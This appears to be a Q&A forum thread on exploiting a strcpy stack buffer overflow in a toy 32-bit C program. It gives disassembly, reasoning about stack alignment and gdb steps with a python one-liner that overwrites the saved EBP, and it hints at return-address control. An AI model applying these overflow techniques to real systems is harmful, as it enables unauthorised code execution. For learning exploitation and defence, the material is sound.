How to overwrite ebp on stack alignment?

Question

I want to exploit a simple program

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
    char buf[128];
    strcpy(buf, argv[1]);
    return 0;
}

The disassembly of main:

push %ebp
mov %esp, %ebp
and $0xfffffff0, %esp
... (and the rest follows)

My question is since esp's last 4bytes are getting null-ed, the actual location of the ebp with respect to buf[]'s starting address becomes RANDOM. So how am I supposed to know exactly after pushing how many characters I am supposed to reach ebp? &buf[0] on my computer is showing 0x2c(%esp) and the stack frame is occupying 0xb0 bytes. But just with this "fixed" information, how am I supposed to reach ebp? There remains a missing element...the initial content of esp. Please help me exploiting this basic program.

Answer 1

I wrote that exact code into an overflow.c file, and got the following main(). I disassembled with objdump --disassemble overflow

0804846d <main>:
 804846d:       55                      push   %ebp
 804846e:       89 e5                   mov    %esp,%ebp
 8048470:       83 e4 f0                and    $0xfffffff0,%esp
 8048473:       81 ec a0 00 00 00       sub    $0xa0,%esp
 8048479:       8b 45 0c                mov    0xc(%ebp),%eax
 804847c:       89 44 24 0c             mov    %eax,0xc(%esp)
 8048480:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048486:       89 84 24 9c 00 00 00    mov    %eax,0x9c(%esp)
 804848d:       31 c0                   xor    %eax,%eax
 804848f:       8b 44 24 0c             mov    0xc(%esp),%eax
 8048493:       83 c0 04                add    $0x4,%eax
 8048496:       8b 00                   mov    (%eax),%eax
 8048498:       89 44 24 04             mov    %eax,0x4(%esp)
 804849c:       8d 44 24 1c             lea    0x1c(%esp),%eax
 80484a0:       89 04 24                mov    %eax,(%esp)
 80484a3:       e8 98 fe ff ff          call   8048340 <strcpy@plt>
 80484a8:       b8 00 00 00 00          mov    $0x0,%eax
 80484ad:       8b 94 24 9c 00 00 00    mov    0x9c(%esp),%edx
 80484b4:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 80484bb:       74 05                   je     80484c2 <main+0x55>
 80484bd:       e8 6e fe ff ff          call   8048330 <__stack_chk_fail@plt>
 80484c2:       c9                      leave  
 80484c3:       c3                      ret   

Unfortunately I don't think there is a way for you to know how much the stack is going to be aligned at that point. You do know that it won't be more than 16 bytes. A dirty solution would be to write the 0x84 bytes to reach the alignment section. Then write the 4 byte value you want to overwrite EBP and/or the return address with 6 times. This would also smash the stack completely if the alignment was less than 16 bytes. But if you gain execution you could fix it up to a working state in your shellcode.

---

To go a bit further lets perform this same operation in a different function. Which would be a lot more likely of a scenario than a main(). So now we have the following:

  1 #include <stdio.h>
  2 #include <string.h>
  3 
  4 int function(char **argv) {
  5     char buf[128];
  6 
  7     strcpy(buf, argv[1]);
  8 
  9     return 0;
 10 }
 11 
 12 int main(int argc, char **argv) {
 13     return function(argv);
 14 }

Which disassembles to:

0804846d <function>:
 804846d:       55                      push   %ebp
 804846e:       89 e5                   mov    %esp,%ebp
 8048470:       81 ec a8 00 00 00       sub    $0xa8,%esp
 8048476:       8b 45 08                mov    0x8(%ebp),%eax
 8048479:       89 85 64 ff ff ff       mov    %eax,-0x9c(%ebp)
 804847f:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048485:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048488:       31 c0                   xor    %eax,%eax
 804848a:       8b 85 64 ff ff ff       mov    -0x9c(%ebp),%eax
 8048490:       83 c0 04                add    $0x4,%eax
 8048493:       8b 00                   mov    (%eax),%eax
 8048495:       89 44 24 04             mov    %eax,0x4(%esp)
 8048499:       8d 85 74 ff ff ff       lea    -0x8c(%ebp),%eax
 804849f:       89 04 24                mov    %eax,(%esp)
 80484a2:       e8 99 fe ff ff          call   8048340 <strcpy@plt>
 80484a7:       b8 00 00 00 00          mov    $0x0,%eax
 80484ac:       8b 55 f4                mov    -0xc(%ebp),%edx
 80484af:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 80484b6:       74 05                   je     80484bd <function+0x50>
 80484b8:       e8 73 fe ff ff          call   8048330 <__stack_chk_fail@plt>
 80484bd:       c9                      leave  
 80484be:       c3                      ret

Since it's not a main function you don't have that pesky and esp, 0xfffffff0 operation in there. You can perform your subtraction just like you normally would have expected.

I hope this answers your question.

Answer 2

I don't know if I understand well, what you want. Let me know if I understand it bad. I will assume, you want to overwrite EBP with some your value. One of the way, how to do it, is find, where begin buffer and get its address. So in debugger fill buffer with some payload of 'A' like -

run AAAAAAAA

Set breakpoint after calling strcpy() function. I set it on leave instruction, then check, where begin your buffer (buf).

0xbfffef30: 0x41414141 0x41414141 0xbfffef60 0x0804823d

In this case, it means, our buffer begins on address 0xbfffef30. With this information, take this address, and subtract it from $ebp (because as we know, EBP is located on bottom of the actual frame, it mean = higher address)

(gdb) p $ebp - 0xbfffef30

$1 = (void *) 0x88

(gdb) p 0x88

$2 = 136

Now, next 4 bytes will overwrite our saved frame pointer.

(gdb) run python -c 'print "A" * 136 + "B" * 4'

Don't forget to set up breakpoint again. After it, you can see, we rewrite EBP with our own value. In this case with 'BBBB'.

(gdb) i r ebp

ebp 0x42424242 0x42424242

Maybe you know, what you'll overwrite with next 4 bytes - return address.